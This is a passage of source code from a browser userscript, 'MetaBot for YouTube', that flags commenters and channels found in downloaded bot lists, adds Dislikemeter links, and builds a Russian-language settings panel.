videoid; }); return; } } else if (window.location.pathname == '/live_chat_replay' || window.location.pathname == '/live_chat') { var requestDB = new XMLHttpRequest(); requestDB.onreadystatechange = function() { if (requestDB.readyState === 4) { if (requestDB.status === 404) { console.log("[MetaBot for Youtube - Chat] XMLHttpRequest done: ERKY-db not found."); } if (requestDB.status === 200) { var responseDB = requestDB.responseText; if (responseDB !== "") { console.log("[MetaBot for Youtube - Chat] XMLHttpRequest done: ERKY-db loaded."); arrayERKY = responseDB.match(/[^\r\n=]+/g); waitForKeyElements('a.ytd-menu-navigation-item-renderer', parsechat); } else { console.log("[MetaBot for Youtube] XMLHttpRequest failed."); } } } }; requestDB.open("GET", ERKYurl, true); requestDB.send(null); } else { if (document.querySelector("meta[http-equiv='origin-trial']")) { console.log("[MetaBot for Youtube] YouTube New design detected."); ytmode = 1; } else if (document.querySelector("meta[http-equiv='Content-Type']")) { console.log("[MetaBot for Youtube] YouTube Mobile mode detected."); ytmode = 3; } else { console.log("[MetaBot for Youtube] YouTube Classic design detected."); ytmode = 2; txtlistpadd = '\u2003<span id="listpadd" style="cursor: pointer; color: #767676;' + iconstyledef + '" title="Добавить в закладки">' + iconsdef[0] + '</span>'; } if (ytmode !== 3) { listqueue++; getlist(filllist, -1, annYTOurl); } listqueue++; getlist(filllist, 0, ERKYurl); if (GM_config.get('option4') === true) { arrayListP1 = GM_config.get('listp1').match(/[^\r\n=]+/g); if (GM_config.get('listc1') !== '') { listqueue++; getlist(filllist, 1, GM_config.get('listc1')); } if (GM_config.get('listc2') !== '') { listqueue++; getlist(filllist, 2, GM_config.get('listc2')); } if (GM_config.get('listc3') !== '') { listqueue++; getlist(filllist, 3, GM_config.get('listc3')); } } waitforlists(); } function filllist(numArr, response, code, url) { if (code !== 200) { console.log("[MetaBot for Youtube] List load error. URL " + url + " Code " + code); } else { switch (numArr) { case -1: annYTOtxt = regexannyto.exec(response); var dbname = "YTO announcement"; switch (ytmode) { case 1: waitForKeyElements('ytd-comments-header-renderer.ytd-item-section-renderer', insertannNew); break; case 2: waitForKeyElements('div.comments-header-renderer', insertann); } break; case 0: arrayERKY = response.match(/[^\r\n=]+/g); var dbname = "ERKY-db"; break; case 1: arrayListC1 = response.match(/[^\r\n=]+/g); var dbname = "Custom list #1"; descc1 = '[' + (arrayListC1.length / 2 - 1) + '] ' + Aparse(arrayListC1[0]) + ': ' + Aparse(arrayListC1[1]) + '<br>\u2003'; break; case 2: arrayListC2 = response.match(/[^\r\n=]+/g); var dbname = "Custom list #2"; descc2 = '[' + (arrayListC2.length / 2 - 1) + '] ' + Aparse(arrayListC2[0]) + ': ' + Aparse(arrayListC2[1]) + '<br>\u2003'; break; case 3: arrayListC3 = response.match(/[^\r\n=]+/g); var dbname = "Custom list #3"; descc3 = '[' + (arrayListC3.length / 2 - 1) + '] ' + Aparse(arrayListC3[0]) + ': ' + Aparse(arrayListC3[1]) + '<br>\u2003'; } if (code === 200) { console.log("[MetaBot for Youtube] " + dbname + " loaded. Code " + code); } else { console.log("[MetaBot for Youtube] " + dbname + " load error. Code " + code); } } listqueue--; } function waitforlists() { if (listqueue === 0) { switch (ytmode) { case 1: spinnercheckNew(); waitForKeyElements('div#main.style-scope.ytd-comment-renderer', parseitemNew); waitForKeyElements('yt-view-count-renderer.style-scope.ytd-video-primary-info-renderer', preparedmNew); waitForKeyElements('div#channel-header.ytd-c4-tabbed-header-renderer', insertchanNew); break; case 2: waitForKeyElements('.comment-renderer-header', parseitem); waitForKeyElements('div#watch7-views-info', insertdm); waitForKeyElements('div#c4-primary-header-contents.primary-header-contents.clearfix', insertchan); break; case 3: waitForKeyElements('div.brb', parseitemMob); } return; } else { setTimeout(waitforlists, 500); } } function parsechat(jNode) { if ($(jNode)[0].hasAttribute('href')) { var deftxt = $(jNode).find('yt-formatted-string.ytd-menu-navigation-item-renderer')[0].innerHTML; markchatmenu(jNode, deftxt); var mutationObserver = new MutationObserver(function(mutations) { mutations.forEach(function(mutation) { markchatmenu(jNode, deftxt); }); }); mutationObserver.observe($(jNode)[0], { attributes: true, attributeFilter: ['href'], characterData: false, childList: false, subtree: false, attributeOldValue: false, characterDataOldValue: false }); } } function markchatmenu(jNode, deftxt) { var userID = $(jNode)[0].href.split('/').pop(); var foundID = arrayERKY.indexOf(userID); if (foundID > -1) { $(jNode).parent()[0].style.backgroundColor = 'rgba(255,50,50,0.3)'; $(jNode).find('yt-formatted-string.ytd-menu-navigation-item-renderer')[0].innerHTML = deftxt + '<br><img src="' + mred + '" /> ' + arrayERKY[foundID + 1]; } else { $(jNode).parent()[0].style.backgroundColor = ''; $(jNode).find('yt-formatted-string.ytd-menu-navigation-item-renderer')[0].innerHTML = deftxt; } } function spinnercheckNew() { waitForKeyElements('paper-spinner-lite.ytd-item-section-renderer[aria-hidden="true"]', function(jNode) { if (getURLParameter('v', location.search) === null) { return; } console.log("[MetaBot for Youtube] Comment sorting spinner found."); var mutationObserver = new MutationObserver(function(mutations) { mutations.forEach(function(mutation) { if ($(jNode).find("#spinnerContainer").hasClass("cooldown")) { setTimeout(recheckallNew, 2000); } else { $('div#main.style-scope.ytd-comment-renderer').each(function() { var cNode = $(this).find(".published-time-text")[0]; deleteitemNew(this, $(cNode).find("a")[0].href); }); } }); }); mutationObserver.observe($(jNode)[0], { attributes: true, attributeFilter: ['active'], characterData: false, childList: false, subtree: true, attributeOldValue: false, characterDataOldValue: false }); }, false); waitForKeyElements('div#continuations.ytd-item-section-renderer', function(jNode) { if (getURLParameter('v', location.search) === null) { return; } console.log("[MetaBot for Youtube] Comment loading spinner found."); var mutationObserver = new MutationObserver(function(mutations) { mutations.forEach(function(mutation) { if (!$(jNode).find("#spinnerContainer").hasClass("cooldown")) { setTimeout(recheckallNew, 2000); } }); }); mutationObserver.observe($(jNode)[0], { attributes: true, attributeFilter: ['active'], characterData: false, childList: false, subtree: true, attributeOldValue: false, characterDataOldValue: false }); }, false); waitForKeyElements('paper-spinner#spinner.yt-next-continuation[active]', function(jNode) { if (getURLParameter('v', location.search) === null) { return; } console.log("[MetaBot for Youtube] Comment replies loading spinner found."); var mutationObserver = new MutationObserver(function(mutations) { if (mutations[0].removedNodes) { mutationObserver.disconnect(); setTimeout(recheckallNew, 2000); } }); mutationObserver.observe($(jNode)[0].parentNode, { attributes: true, characterData: false, childList: false, subtree: false, attributeOldValue: false, characterDataOldValue: false }); }, false); } function recheckallNew(){ $('div#main.style-scope.ytd-comment-renderer').each(function() { recheckNew(this); }); } function insertchan(jNode) { var noticespan = document.createElement('div'); var chanURL = $(jNode).find('a.spf-link.branded-page-header-title-link.yt-uix-sessionlink')[0].href; var userID = chanURL.split('/').pop(); var foundID = arrayERKY.indexOf(userID); if (foundID > -1) { noticespan.innerHTML = '<img src="' + mred + '" /> Пользователь найден в ЕРКЮ, дата регистрации: <a href="' + chanURL + '/about" title="Открыть страницу с датой регистрации">' + arrayERKY[foundID + 1] + "</a>"; noticespan.style = 'background:rgba(255,50,50,0.3);border-radius:5px;padding:4px 7px 4px 7px'; } else { noticespan.innerHTML = 'Пользователь не найден в ЕРКЮ <a href="' + chanURL + '/about"><img src="' + minf + '" title="Открыть страницу с датой регистрации" /></a>'; noticespan.style = 'background:rgba(100,100,100,0.2);border-radius:5px;padding:4px 7px 4px 7px'; } noticespan.id = 'erkynotice'; $(jNode).find('h1.branded-page-header-title').append(noticespan); } function insertchanNew(jNode) { this.addEventListener('yt-navigate-finish', function insertchanNewR() { this.removeEventListener('yt-navigate-finish', insertchanNewR); setTimeout(insertchanNew, 300, jNode); }); var chanURL = window.location.protocol + '//' + window.location.hostname + window.location.pathname.replace(/\/featured|\/videos|\/playlists|\/channels|\/discussion|\/about/i, ''); if (chanURL.slice(-1) == '/') { chanURL = chanURL.slice(0, -1); } var reuse = false; var userID = chanURL.split('/').pop(); if ($(jNode).find('span#subscriber-count.ytd-c4-tabbed-header-renderer')[0]) { var noticespan = $(jNode).find('span#subscriber-count.ytd-c4-tabbed-header-renderer')[0]; reuse = true; } else { var noticespan = document.createElement('span'); noticespan.id = 'subscriber-count'; noticespan.classList.add("ytd-c4-tabbed-header-renderer"); } var foundID = arrayERKY.indexOf(userID); if (foundID > -1) { noticespan.innerHTML = '<img src="' + mred + '" /> Пользователь найден в ЕРКЮ, дата регистрации: <a href="' + chanURL + '/about" style="color:hsl(206.1, 79.3%, 52.7%);text-decoration:none" title="Открыть страницу с датой регистрации">' + arrayERKY[foundID + 1] + "</a>"; noticespan.style = 'background:rgba(255,50,50,0.3);border-radius:5px;padding:4px 7px 4px 7px;font-weight:400;line-height:3rem;text-transform:none;color:var(--yt-lightsource-primary-title-color)'; } else { noticespan.innerHTML = 'Пользователь не найден в ЕРКЮ <a href="' + chanURL + '/about"><img src="' + minf + '" title="Открыть страницу с датой регистрации" /></a>'; noticespan.style = 'background:rgba(100,100,100,0.2);border-radius:5px;padding:4px 7px 4px 7px;font-weight:400;line-height:3rem;text-transform:none;color:var(--yt-lightsource-primary-title-color)'; } if (!reuse) { $(jNode).find('ytd-channel-name#channel-name.ytd-c4-tabbed-header-renderer').after(noticespan); $(jNode).find('span#subscriber-count.ytd-c4-tabbed-header-renderer').after('<br>'); } } function insertdm(jNode) { var videoid = getURLParameter('v', location.search); var pNode = $(jNode)[0]; var newspan = document.createElement('span'); newspan.innerHTML = '<a id="dmAdd" title="Добавить видео на анализатор Дизлайкметр" href="https://dislikemeter.com/?v=' + videoid + '"><img src="' + imgdma + '" /></a><span style="padding:0 1em 0 0"></span><a style="padding:0 0 0 1px" id="dmGo" title="Открыть статистику видео на анализаторе Дизлайкметр" href="https://dislikemeter.com/video/' + videoid + '" ><img src="' + imgdm + '" /></a>'; newspan.id = 'dmPanel'; $(pNode).css('text-align', 'right'); pNode.insertBefore(newspan, pNode.firstChild); $(pNode).find("#dmPanel")[0].addEventListener("click", function dmClick() { this.removeEventListener("click", dmClick); var newspan = document.createElement('span'); newspan.innerHTML = '<a target="_blank" title="Помочь проекту Дизлайкметр" href="https://dislikemeter.com/?donate"><img src="' + imgdmd + '" /></a><span style="padding:0 1em 0 0"></span>'; $(pNode).find("#dmPanel")[0].insertBefore(newspan, $(pNode).find("#dmPanel")[0].firstChild); }, false); $(pNode).find("#dmPanel")[0].addEventListener("mouseover", function dmOver() { this.removeEventListener("mouseover", dmOver); $(this).find("#dmAdd")[0].target = "_blank"; $(this).find("#dmGo")[0].target = "_blank"; }, false); } function preparedmNew(jNode) { this.addEventListener('yt-navigate-finish', function preparedmNewR() { this.removeEventListener('yt-navigate-finish', preparedmNewR); setTimeout(preparedmNew, 300, jNode); }); var videoid = getURLParameter('v', location.search); if (!videoid) { console.log("[MetaBot for Youtube] Dislikemeter: video id not found."); return; } var pNode = $(jNode).parent().parent().parent().find('div#flex')[0]; if (typeof pNode === 'undefined') { console.log("[MetaBot for Youtube] Dislikemeter: node not found."); return; } pNode.innerHTML = ''; if (GM_config.get('option3')) { var btnText = $(pNode).parent().find('ytd-button-renderer.ytd-menu-renderer')[0]; if ($(btnText).find('yt-formatted-string#text').length > 0) { $(btnText).find('yt-formatted-string#text').html(''); } if (!$(pNode).parent().find('ytd-sentiment-bar-renderer#sentiment').is(":visible")) { btnText = $(pNode).parent().find('ytd-toggle-button-renderer.ytd-menu-renderer.force-icon-button')[0]; $(btnText).find('yt-formatted-string#text').html(''); btnText = $(pNode).parent().find('ytd-toggle-button-renderer.ytd-menu-renderer.force-icon-button')[1]; $(btnText).find('yt-formatted-string#text').html(''); } } console.log("[MetaBot for Youtube] Dislikemeter: requesting data for video id " + videoid); getlist(insertdmNew, pNode, 'https://dislikemeter.com/iframe/?vid=' + videoid); } function insertdmNew(jNode, response, code, url) { if (response.indexOf('"submit"') >= 0){ console.log("[MetaBot for Youtube] Dislikemeter: video already added."); var dmurl = url.replace('iframe/?vid=', 'video/'); var dmtxt = 'Открыть статистику видео на анализаторе Дизлайкметр'; var dmclr = 'var(--yt-spec-call-to-action)'; } else { console.log("[MetaBot for Youtube] Dislikemeter: video not added yet."); var dmurl = url.replace('iframe/?vid=', '?v='); var dmtxt = 'Добавить видео на анализатор Дизлайкметр'; var dmclr = 'var(--yt-spec-icon-inactive)'; } jNode.style.textAlign = "right"; var dmbutton = document.createElement('ytd-button-renderer'); dmbutton.id = 'dmbutton'; dmbutton.setAttribute('button-renderer', ''); dmbutton.setAttribute('is-icon-button', ''); dmbutton.classList.add("style-scope"); dmbutton.classList.add("ytd-menu-renderer"); dmbutton.classList.add("force-icon-button"); dmbutton.classList.add("style-default"); dmbutton.classList.add("size-default"); dmbutton.style.marginTop = "3px"; dmbutton.style.marginRight = "4px"; $(jNode).prepend(dmbutton); $(jNode).find('ytd-button-renderer#dmbutton').html('<a class="yt-simple-endpoint style-scope ytd-button-renderer"><yt-icon-button id="button" class="style-scope ytd-button-renderer style-default size-default" style="padding:8px;width:36px;height:36px;color:rgb(255,200,0)" onclick="window.open(\'' + dmurl + '\', \'_blank\');"><svg viewBox="0 0 20 20" preserveAspectRatio="xMidYMid meet" focusable="false" class="style-scope yt-icon" style="pointer-events: none; display: block; width: 100%; height: 100%; fill:' + dmclr + '"><g class="style-scope yt-icon"><path d="m0 2c0 5.5 8 5.5 8 0 0-1-2-1-2 0 0 3-4 3-4 0 0-1-2-1-2 0m12 0c0 5.5 8 5.5 8 0 0-1-2-1-2 0 0 3-4 3-4 0 0-1-2-1-2 0m-12 16q2-6.5 10-6.5v2q-6 0-8 4.5c0 0.5-2 0.7-2 0m6 2v-3l4-1v4m1 0v-8h4v8m1 0v-11l4-1v12" class="style-scope yt-icon"></path></g></svg></yt-icon-button><paper-tooltip>' + dmtxt + '</paper-tooltip></a>'); } function insertann(jNode) { $(jNode).find('h2.comment-section-header-renderer')[0].style = 'padding-bottom:10;display:inline-flex;align-items:center;line-height:2rem'; var cfgspan = document.createElement('span'); cfgspan.innerHTML = '<span style="opacity:0.4">[</span><span style="font-family: Segoe UI Symbol; color: #848484">\uD83D\uDD27</span><span style="opacity:0.4">]</span>'; cfgspan.id = 'cfgbtn'; cfgspan.title = 'Настройки MetaBot for YouTube'; cfgspan.style = 'margin:-4px 0 0 0.5em;font-size:2.3em;height:2rem;cursor:pointer;color:#000'; $(jNode).find('h2.comment-section-header-renderer').append(cfgspan); var annspan = document.createElement('span'); annspan.innerHTML = '<span style="display:inline-flex;align-items:center"><span style="opacity:0.4">[</span><span style="font-family: Segoe UI Symbol; color: #af1611">\uD83D\uDCE3</span><span style="color:#555;font-size:0.5em;font-weight:420;margin:-1.8em 0.2em 0 0.2em;height:0.3em;text-transform:none">' + Aparse(annYTOtxt[1]) + '</span><span style="opacity:0.4">]</span></span>'; annspan.id = 'annbtn'; annspan.title = 'Последняя информация от Наблюдателя YouTube (#ЕРКЮ)'; annspan.style = 'margin:-4px 0 0 0.5em;font-size:2.3em;height:2rem;cursor:pointer;color:#000'; $(jNode).find('h2.comment-section-header-renderer').append(annspan); var ytoinfosspan = document.createElement('span'); ytoinfosspan.innerHTML = '<span style="float:left;width:40px"><img src="' + imgyto + '" width="40px" height="40px" /></span><span style="float:right;margin: 0 0 0 10px;width:520px"><span id="urlyto" style="font-weight:500;cursor:pointer" data-url="https://www.youtube.com/channel/UCwBID52XA-aajCKYuwsQxWA">Наблюдатель Youtube #ЕРКЮ</span><br><span class="yt-badge" style="margin:4px 0 4px 0;text-align:center;text-transform:none;font-weight:500;width:100%;background-color:hsla(0, 0%, 93.3%, .6)">' + Aparse(annYTOtxt[1]) + '</span><span id="annholder"></span></span>'; ytoinfosspan.id = 'ytoinfo'; ytoinfosspan.style = 'max-width:605px;margin:0 auto 1em auto;display:table'; $(ytoinfosspan).toggle(); $(jNode).find('h2.comment-section-header-renderer').after(ytoinfosspan); $(jNode).find("span#ytoinfo").toggle(); var settingsspan = document.createElement('span'); settingsspan.innerHTML = '<span style="float:left;width:100px"><img src="https://raw.githubusercontent.com/asrdri/yt-metabot-user-js/master/logo.png" width="100px" height="100px" /></span><span style="float:right;margin: 0 0 0 10px;width:460px"><span style="font-weight:500">' + GM_info.script.name + ' v' + GM_info.script.version + '</span>\u2003<span id="urlgithub" style="cursor:pointer" data-url="https://github.com/asrdri/yt-metabot-user-js/">GitHub</span>\u2003<span id="urlissues" style="cursor:pointer" data-url="https://github.com/asrdri/yt-metabot-user-js/issues">Предложения и баги</span>\u2003<span id="urllists" style="cursor:pointer" data-url="https://github.com/asrdri/yt-metabot-user-js/issues/23">Списки</span><span class="yt-badge" style="margin:4px 0 4px 0;text-align:center;text-transform:none;font-weight:500;width:100%;background-color:hsla(0, 0%, 93.3%, .6)">Настройки</span>Комментарии от известных ботов из ЕРКЮ <select id="mbcddm1"><option value="1">помечать</option><option value="2">скрывать</option></select><span id="mbcswg1"><br style="line-height:2em"><label title="Информация о наличии ботов под роликом будет отправлена на кремлеботы.рф"><input type="checkbox" id="mbcbox4">Уведомлять сервер при обнаружении ботов</label><br style="line-height:2em"><label title="Пункт 5.1.H Условий использования YouTube не нарушается - запросы отправляются со значительным интервалом"><input type="checkbox" id="mbcbox1">Автоматически ставить <span style="font-family: Segoe UI Symbol">\uD83D\uDC4E</span> комментариям от ботов из ЕРКЮ</label></span><br style="line-height:2em"><label><input type="checkbox" id="mbcbox3">Дополнительные списки</label><span id="mbcswg2"><br style="line-height:2em">' + iconp1 + ' Закладки: <input type="color" id="colorpersonal" style="height: 1rem; width: 40px"><br style="line-height:1.8em"><textarea id="listpersonal" rows="3" style="width: 440px"></textarea><br style="line-height:1.2em">Сторонние списки:<br>' + iconc1 + descc1 + '<input type="text" id="listcustom1" style="height: 1rem; width: 385px"> <input type="color" id="colorcustom1" style="height: 1rem; width: 40px"><br>' + iconc2 + descc2 + '<input type="text" id="listcustom2" style="height: 1rem; width: 385px"> <input type="color" id="colorcustom2" style="height: 1rem; width: 40px"><br>' + iconc3 + descc3 + '<input type="text" id="listcustom3" style="height: 1rem; width: 385px"> <input type="color" id="colorcustom3" style="height: 1rem; width: 40px"></span><br style="line-height:2em"><span id="classicbtn" style="cursor:pointer">Включить новый дизайн YouTube</span><br><span id="resetbtn" style="cursor:pointer">Сбросить настройки</span><span id="configsaved" class="yt-badge" style="margin:4px 0 4px 0;text-align:center;text-transform:none;font-weight:500;width:100%;background-color:hsla(0, 0%, 93.3%, .6);display:none;-webkit-transition: background-color 0.3s ease-in-out;-moz-transition: background-color 0.3s ease-in-out;-ms-transition: background-color 0.3s ease-in-out;-o-transition: background-color 0.3s ease-in-out;transition: background-color 0.3s ease-in-out;">Настройки сохранены. Для вступления в силу необходимо <span style="cursor:pointer;text-decoration: underline" onclick="javascript:window.location.reload();">\uD83D\uDD03обновить страницу</span>.</span></span>'; settingsspan.id = 'config'; settingsspan.style = 'max-width:605px;margin:0 auto 1em auto;display:table'; $(settingsspan).toggle(); $(jNode).find('h2.comment-section-header-renderer').after(settingsspan); $(jNode).find("span#config").toggle(); var annexspan = document.createElement('span'); annexspan.innerHTML = Aparse(annYTOtxt[3]); $(jNode).find('span#annholder').append(annexspan); $(jNode).find("span#cfgbtn")[0].addEventListener("click", function() { $(jNode).find("span#config").toggle(); $(jNode).find("span#ytoinfo").hide(); }, false); $(jNode).find("span#annbtn")[0].addEventListener("click", function() { $(jNode).find("span#ytoinfo").toggle(); $(jNode).find("span#config").hide(); }, false); $(jNode).find("span#cfgbtn").hover(function() { this.style.backgroundColor = 'hsl(206.1, 79.3%, 52.7%)'; }, function() { this.style.backgroundColor = ''; }); $(jNode).find("span#annbtn").hover(function() { this.style.backgroundColor = 'hsl(206.1, 79.3%, 52.7%)'; }, function() { this.style.backgroundColor = ''; }); $(jNode).find("span#classicbtn, span#resetbtn").hover(function() { this.style.textDecoration = "underline"; }, function() { this.style.textDecoration = ""; }); $(jNode).find("span#urlgithub, span#urlissues, span#urllists, span#urlyto").hover(function() { this.style.textDecoration = "underline"; this.style.color = "hsl(206.1, 79.3%, 52.7%)"; }, function() { this.style.textDecoration = ""; this.style.color = ""; }); $(jNode).find("span#urlgithub, span#urlissues, span#urllists, span#urlyto").click(function() { window.open($(this).attr('data-url')); }); $(jNode).find("span#classicbtn").click(function() { ytNewDesign(); saveconfig(jNode); }); $(jNode).find("span#resetbtn").click(function() { resetconfig(jNode); saveconfig(jNode); }); $(jNode).find("select#mbcddm1").val(GM_config.get('option1')); $(jNode).find("input#mbcbox1").prop('checked', GM_config.get('option2')); $(jNode).find("input#mbcbox3").prop('checked', GM_config.get('option4')); $(jNode).find("input#mbcbox4").prop('checked', GM_config.get('option5')); $(jNode).find("textarea#listpersonal").text(GM_config.get('listp1')); $(jNode).find("input#listcustom1").val(GM_config.get('listc1')); $(jNode).find("input#listcustom2").val(GM_config.get('listc2')); $(jNode).find("input#listcustom3").val(GM_config.get('listc3')); $(jNode).find("input#colorpersonal").val(parseColor(GM_config.get('colorp1'), false)); $(jNode).find("input#colorcustom1").val(parseColor(GM_config.get('colorc1'), false)); $(jNode).find("input#colorcustom2").val(parseColor(GM_config.get('colorc2'), false)); $(jNode).find("input#colorcustom3").val(parseColor(GM_config.get('colorc3'), false)); if ($(jNode).find("select#mbcddm1").val() == 2) { $(jNode).find("span#mbcswg1").hide(); } if ($(jNode).find("input#mbcbox3").prop('checked') == false) { $(jNode).find("span#mbcswg2").hide(); } $(jNode).find("input#mbcbox1, input#mbcbox3, input#mbcbox4, select#mbcddm1, textarea#listpersonal, input#listcustom1, input#listcustom2, input#listcustom3, input#colorpersonal, input#colorcustom1, input#colorcustom2, input#colorcustom3").change(function() { if ($(jNode).find("select#mbcddm1").val() == 2) { $(jNode).find("span#mbcswg1").hide(); } else { $(jNode).find("span#mbcswg1").show(); } if ($(jNode).find("input#mbcbox3").prop('checked') == false) { $(jNode).find("span#mbcswg2").hide(); } else { $(jNode).find("span#mbcswg2").show(); } saveconfig(jNode); }); } function insertannNew(jNode) { waitForKeyElements('div#icon-label.yt-dropdown-menu', function(jNode) { jNode[0].innerHTML = ''; $(jNode).parent()[0].setAttribute("style","margin-top:-0.1em;height:1.9em;width:2.9em"); $(jNode).parent().hover(function() { this.style.backgroundColor = 'hsl(206.1, 79.3%, 52.7%)'; }, function() { this.style.backgroundColor = ''; }); }, false); var cfgspan = document.createElement('span'); cfgspan.innerHTML = '<span style="opacity:0.4">[</span><span style="font-family: Segoe UI Symbol; color: #848484">\uD83D\uDD27</span><span style="opacity:0.4">]</span>'; cfgspan.id = 'cfgbtn'; cfgspan.title = 'Настройки MetaBot for YouTube'; cfgspan.style = 'margin:-6px 0 0 0.5em;font-size:3em;height:1.05em;display:inline-flex;align-items:center;cursor:pointer'; cfgspan.classList.add("content"); cfgspan.classList.add("ytd-video-secondary-info-renderer"); $(jNode).find('div#title').append(cfgspan); var annspan = document.createElement('span'); annspan.innerHTML = '<span style="opacity:0.4">[</span><span style="font-family: Segoe UI Symbol; color: #af1611">\uD83D\uDCE3</span><span style="font-size:0.5em;font-weight:420;margin:0 0.2em 0 0.2em">' + Aparse(annYTOtxt[1]) + '</span><span style="opacity:0.4">]</span>'; annspan.id = 'annbtn'; annspan.title = 'Последняя информация от Наблюдателя YouTube (#ЕРКЮ)'; annspan.style = 'margin:-6px 0 0 0.5em;font-size:3em;height:1.05em;display:inline-flex;align-items:center;cursor:pointer'; annspan.classList.add("content"); annspan.classList.add("ytd-video-secondary-info-renderer"); $(jNode).find('div#title').append(annspan); var ytoinfosspan = document.createElement('span'); ytoinfosspan.innerHTML = '<span style="float:left;width:40px"><img src="' + imgyto + '" width="40px" height="40px" /></span><span style="float:right;margin: 0 0 0 10px;width:585px"><span id="urlyto" style="font-weight:500;cursor:pointer" data-url="https://www.youtube.com/channel/UCwBID52XA-aajCKYuwsQxWA">Наблюдатель Youtube #ЕРКЮ</span><span class="badge badge-style-type-simple ytd-badge-supported-renderer" style="margin:4px 0 4px 0;text-align:center">' + Aparse(annYTOtxt[1]) + '</span><span id="annholder"></span></span>'; ytoinfosspan.id = 'ytoinfo'; ytoinfosspan.classList.add("description"); ytoinfosspan.classList.add("content"); ytoinfosspan.classList.add("ytd-video-secondary-info-renderer"); ytoinfosspan.style = 'font-size:1.4rem;max-width:640px;margin:-10px auto 1em auto;display:none'; $(jNode).find('div#title').after(ytoinfosspan); var settingsspan = document.createElement('span'); settingsspan.innerHTML = '<span style="float:left;width:100px"><img src="https://raw.githubusercontent.com/asrdri/yt-metabot-user-js/master/logo.png" width="100px" height="100px" /></span><span style="float:right;margin: 0 0 0 10px;width:525px"><span style="font-weight:500">' + GM_info.script.name + ' v' + GM_info.script.version + '</span>\u2003<span id="urlgithub" style="cursor:pointer" data-url="https://github.com/asrdri/yt-metabot-user-js/">GitHub</span>\u2003<span id="urlissues" style="cursor:pointer" data-url="https://github.com/asrdri/yt-metabot-user-js/issues">Предложения и баги</span>\u2003<span id="urllists" style="cursor:pointer" data-url="https://github.com/asrdri/yt-metabot-user-js/issues/23">Списки</span><span class="badge badge-style-type-simple ytd-badge-supported-renderer" style="margin:4px 0 4px 0;text-align:center">Настройки</span>Комментарии от известных ботов из ЕРКЮ <select id="mbcddm1"><option value="1">помечать</option><option value="2">скрывать</option></select><span id="mbcswg1"><br style="line-height:2em"><label title="Информация о наличии ботов под роликом будет отправлена на кремлеботы.рф"><input type="checkbox" id="mbcbox4">Уведомлять сервер при обнаружении ботов</label><br style="line-height:2em"><label title="Пункт 5.1.H Условий использования YouTube не нарушается - запросы отправляются со значительным интервалом"><input type="checkbox" id="mbcbox1">Автоматически ставить <span style="font-family: Segoe UI Symbol">\uD83D\uDC4E</span> комментариям от ботов из ЕРКЮ</label></span><br style="line-height:2em"><label title="Актуально для русского интерфейса и небольшой ширины окна браузера"><input type="checkbox" id="mbcbox2">Скрывать длинные подписи кнопок Мне (не) понравилось / Поделиться</label><br style="line-height:2em"><label><input type="checkbox" id="mbcbox3">Дополнительные списки</label><span id="mbcswg2"><br style="line-height:2em">' + iconp1 + ' Закладки: <input type="color" id="colorpersonal" style="height: 1.8rem; width: 40px"><br style="line-height:1.8em"><textarea id="listpersonal" rows="3" style="width: 500px"></textarea><br style="line-height:1.2em">Сторонние списки:<br>' + iconc1 + descc1 + '<input type="text" id="listcustom1" style="height: 1.7rem; width: 440px"> <input type="color" id="colorcustom1" style="height: 1.8rem; width: 40px"><br>' + iconc2 + descc2 + '<input type="text" id="listcustom2" style="height: 1.7rem; width: 440px"> <input type="color" id="colorcustom2" style="height: 1.8rem; width: 40px"><br>' + iconc3 + descc3 + '<input type="text" id="listcustom3" style="height: 1.7rem; width: 440px"> <input type="color" id="colorcustom3" style="height: 1.8rem; width: 40px"></span><br style="line-height:2em"><span id="classicbtn" style="cursor:pointer">Включить классический дизайн YouTube</span><br><span id="resetbtn" style="cursor:pointer">Сбросить настройки</span><span id="configsaved" class="badge badge-style-type-simple ytd-badge-supported-renderer" style="margin:4px 0 4px 0;text-align:center;display:none;-webkit-transition: background-color 0.3s ease-in-out;-moz-transition: background-color 0.3s ease-in-out;-ms-transition: background-color 0.3s ease-in-out;-o-transition: background-color 0.3s ease-in-out;transition: background-color 0.3s ease-in-out;">Настройки сохранены. Для вступления в силу необходимо <span style="cursor:pointer;text-decoration: underline" onclick="javascript:window.location.reload();"><span style="font-family: Segoe UI Symbol">\uD83D\uDD03</span>обновить страницу</span>.</span></span>'; settingsspan.id = 'config'; settingsspan.classList.add("description"); settingsspan.classList.add("content"); settingsspan.classList.add("ytd-video-secondary-info-renderer"); settingsspan.style = 'font-size:1.4rem;max-width:635px;margin:-10px auto 1em auto;display:none'; $(jNode).find('div#title').after(settingsspan); var annexspan = document.createElement('span'); annexspan.innerHTML = Aparse(annYTOtxt[3]); annexspan.classList.add("content"); annexspan.classList.add("ytd-video-secondary-info-renderer"); $(jNode).find('span#annholder').append(annexspan); $(jNode).find("span#cfgbtn")[0].addEventListener("click", function() { $(jNode).find("span#config").toggle(); $(jNode).find("span#ytoinfo").hide(); }, false); $(jNode).find("span#annbtn")[0].addEventListener("click", function() { $(jNode).find("span#ytoinfo").toggle(); $(jNode).find("span#config").hide(); }, false); $(jNode).find("span#cfgbtn").hover(function() { this.style.backgroundColor = 'hsl(206.1, 79.3%, 52.7%)'; }, function() { this.style.backgroundColor = ''; }); $(jNode).find("span#annbtn").hover(function() { this.style.backgroundColor = 'hsl(206.1, 79.3%, 52.7%)'; }, function() { this.style.backgroundColor = ''; }); $(jNode).find("span#classicbtn, span#resetbtn").hover(function() { this.style.textDecoration = "underline"; }, function() { this.style.textDecoration = ""; }); $(jNode).find("span#urlgithub, span#urlissues, span#urllists, span#urlyto").hover(function() { this.style.textDecoration = "underline"; this.style.color = "hsl(206.1, 79.3%, 52.7%)"; }, function() { this.style.textDecoration = ""; this.style.color = ""; }); $(jNode).find("span#urlgithub, span#urlissues, span#urllists, span#urlyto").click(function() { window.open($(this).attr('data-url')); }); $(jNode).find("span#classicbtn").click(function() { ytOldDesign(); saveconfigNew(jNode); }); $(jNode).find("span#resetbtn").click(function() { resetconfigNew(jNode); saveconfigNew(jNode); }); $(jNode).find("select#mbcddm1").val(GM_config.get('option1')); $(jNode).find("input#mbcbox1").prop('checked', GM_config.get('option2')); $(jNode).find("input#mbcbox2").prop('checked', GM_config.get('option3')); $(jNode).find("input#mbcbox3").prop('checked', GM_config.get('option4')); $(jNode).find("input#mbcbox4").prop('checked', GM_config.get('option5')); $(jNode).find("textarea#listpersonal").text(GM_config.get('listp1')); $(jNode).find("input#listcustom1").val(GM_config.get('listc1')); $(jNode).find("input#listcustom2").val(GM_config.get('listc2')); $(jNode).find("input#listcustom3").val(GM_config.get('listc3')); $(jNode).find("input#colorpersonal").val(parseColor(GM_config.get('colorp1'), false)); 